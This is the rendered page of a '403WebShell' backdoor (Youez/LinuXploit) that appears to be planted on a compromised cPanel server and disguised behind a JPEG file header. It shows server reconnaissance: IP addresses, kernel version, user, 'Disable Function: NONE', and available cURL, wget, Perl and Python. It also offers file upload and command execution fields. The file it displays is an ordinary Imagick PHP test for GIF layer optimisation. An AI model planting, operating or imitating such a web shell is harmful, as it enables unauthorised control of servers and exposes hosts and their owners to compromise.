����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 13.58.173.156
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-php80/root/usr/share/tests/pecl/imagick/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-php80/root/usr/share/tests/pecl/imagick/tests/278_Imagick_optimaze_gif.phpt
--TEST--
Test Imagick::optimizeimagelayers and Imagick::optimizeimagetransparency
--SKIPIF--
<?php

$imageMagickRequiredVersion = 0x686;

require_once(dirname(__FILE__) . '/skipif.inc');
checkClassMethods('Imagick', array('optimizeimagelayers'));
checkClassMethods('Imagick', array('optimizeimagetransparency'));

?>
--FILE--
<?php

function makeSimpleGif() {
    $aniGif = new \Imagick();
    $aniGif->setFormat("gif");

    $circleRadius = 20;
    $imageFrames = 6;
    $imageSize = 200;

    $background = new \Imagick();
    $background->newpseudoimage($imageSize, $imageSize, "canvas:gray");

    $blackWhite = new \Imagick();
    $blackWhite->newpseudoimage($imageSize, $imageSize, "gradient:black-white");

    $backgroundPalette = clone $background;
    $backgroundPalette->quantizeImage(240, \Imagick::COLORSPACE_RGB, 8, false, false);

    $blackWhitePalette = clone $blackWhite;
    $blackWhitePalette->quantizeImage(16, \Imagick::COLORSPACE_RGB, 8, false, false);

    $backgroundPalette->addimage($blackWhitePalette);

    for($count=0 ; $count<$imageFrames ; $count++) {
        echo "Frame: ".$count."\n";
        $drawing = new \ImagickDraw();
        $drawing->setFillColor('white');
        $drawing->setStrokeColor('rgba(64, 64, 64, 0.8)');
        $strokeWidth = 4;
        $drawing->setStrokeWidth($strokeWidth);

        $distanceToMove = $imageSize + (($circleRadius + $strokeWidth) * 2);
        $offset = ($distanceToMove * $count / ($imageFrames -1)) - ($circleRadius + $strokeWidth);
        $drawing->translate($offset, ($imageSize / 2) + ($imageSize / 3 * cos(20 * $count / $imageFrames)));
        $drawing->circle(0, 0, $circleRadius, 0);

        $frame = clone $background;
        $frame->drawimage($drawing);
        $frame->clutimage($backgroundPalette);
        $frame->setImageDelay(10);
        $aniGif->addImage($frame);
    }

    $aniGif = $aniGif->deconstructImages();

    $bytes = $aniGif->getImagesBlob();
    if (strlen($bytes) <= 0) {
        echo "Failed to generate image.";
    }

    return $aniGif;
}

function optimizeGif($im) {
    $im = $im->coalesceImages();
    $im->optimizeImageLayers();
    $im->optimizeimagetransparency();
}

$simpleGif = makeSimpleGif();
optimizeGif($simpleGif);

echo "Ok"
?>
--EXPECT--
Frame: 0
Frame: 1
Frame: 2
Frame: 3
Frame: 4
Frame: 5
Ok

Youez - 2016 - github.com/yon3zu
LinuXploit